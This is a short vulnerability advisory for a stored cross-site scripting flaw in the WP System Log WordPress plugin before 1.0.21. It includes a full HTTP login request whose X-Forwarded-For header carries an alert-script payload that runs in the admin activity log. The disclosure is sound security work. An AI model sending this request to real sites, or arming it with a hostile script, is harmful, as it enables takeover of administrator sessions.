WP System Log < 1.0.21 - Unauthenticated Stored Cross-Site Scripting

Description
The plugin does not sanitise, validate and escape the IP address retrieved from login requests before outputting them in the admin dashboard, which could allow unauthenticated attacker to perform Cross-Site Scripting attacks against admins viewing the logs.

Proof of Concept

POST /wp-login.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 54

X-Forwarded-For: <script>alert(/XSS/)</script>

Connection: close

Cookie: wordpress_test_cookie=WP+Cookie+check

Upgrade-Insecure-Requests: 1



log=a&pwd=b&wp-submit=Log+In





The XSS will be triggered in the Activity Log dashboard: /wp-admin/admin.php?page=winteractivitylog 

References

https://wpscan.com/vulnerability/0cea0717-8f54-4f1c-b3ee-aff7dd91bf59